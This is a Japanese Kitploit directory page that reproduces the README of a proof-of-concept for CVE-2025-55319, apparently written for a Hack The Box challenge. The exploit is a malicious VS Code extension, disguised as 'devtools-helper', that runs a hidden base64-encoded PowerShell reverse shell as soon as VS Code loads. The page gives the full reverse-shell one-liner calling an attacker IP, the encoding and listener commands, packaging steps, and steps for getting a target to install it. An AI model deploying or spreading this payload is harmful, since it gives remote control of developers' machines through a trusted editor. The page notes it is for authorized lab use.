Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55319-PoC — CVE-2025-55319 の PoC | Kitploit
ツール/GitHubGitHub/nephila016/cve-2025-55319-poc
エクスプロイトCTFコマンド&コントロールソーシャルエンジニアリングレッドチーミングリモートアクセスツールペイロード開発ラボと実践
GitHubnephila016/cve-2025-55319-poc

CVE-2025-55319-PoC

CVE-2025-55319 の PoC

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

参照: CVE-2025-55319

**HTB「Checkpoint」**チャレンジ向けの概念実証 (PoC) VS Code (.vsix) 拡張機能です。 インストールされると、拡張機能は自動的にアクティブ化され、攻撃者への隠れた PowerShell リバースシェルを生成します。

⚠️ 許可された用途のみ。 これは CTF/ラボ用アーティファクトです。自分が所有するマシン、 または明示的にテストを許可されたマシン(例: HTBのターゲットボックス)に対してのみ展開してください。


仕組み

  • extension/package.json — 拡張機能マニフェスト。"activationEvents": ["*"] により、 VS Code が読み込まれた瞬間にユーザーの操作なしで実行されます。
  • extension/extension.js — activate() 時に、base64 エンコードされた PowerShell ペイロードを -WindowStyle Hidden -NoProfile で実行し、サイレントなリバースシェルを確立します。
  • [Content_Types].xml — OpenXML コンテンツタイプマニフェスト。フォルダーを 有効な .vsix パッケージに ZIP 圧縮できるようにします。

レイアウト

root@kitploit:~
.
├── [Content_Types].xml     # VSIX content-type manifest
└── extension/
    ├── package.json        # extension manifest (activates on "*")
    └── extension.js        # reverse-shell payload

使用方法

1. ペイロードを構築する

攻撃ボックスを指す base64 (UTF-16LE) PowerShell リバースシェルを生成します:

root@kitploit:~
LHOST=10.10.15.158
LPORT=4443
PS="\$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$sb=([text.encoding]::ASCII).GetBytes(\$r+'PS> ');\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()}"
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0

出力を extension/extension.js 内の YOUR_BASE64_PAYLOAD_HERE に貼り付けます:

root@kitploit:~
const payload = '<base64-blob-here>'

2. リスナーを起動する

root@kitploit:~
nc -lvnp 4443

3. .vsix にパッケージ化する

.vsix は、extension/ フォルダーとルートのマニフェストを含む ZIP にすぎません:

root@kitploit:~
# from this directory
zip -r devtools-helper.vsix extension "[Content_Types].xml"

4. 配布とトリガー

ターゲットに拡張機能をインストールさせます。方法は次のいずれかです:

  • CLI: code --install-extension devtools-helper.vsix
  • GUI: 拡張機能ビュー → ··· メニュー → VSIX からインストール…

次回の VS Code 起動時(またはインストール直後)に、* アクティベーションイベントが発生し、ペイロードが実行され、リスナーがシェルを受信します。

root@kitploit:~
$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.15.158] from ...
PS>

クリーンアップ

完了したら、ターゲットから拡張機能を削除します:

root@kitploit:~
code --uninstall-extension devtools.devtools-helper

注意事項

  • ペイロードは Windows (PowerShell) を対象としています。他のプラットフォームでは extension.js を調整してください。
  • os は extension.js でインポートされていますが未使用です — os.platform() で分岐させて Linux/macOS ターゲットをサポートする場合に便利です。
  • 再パッケージ化する場合は、ビルド間で package.json の version を上げてください。
ツールをダウンロード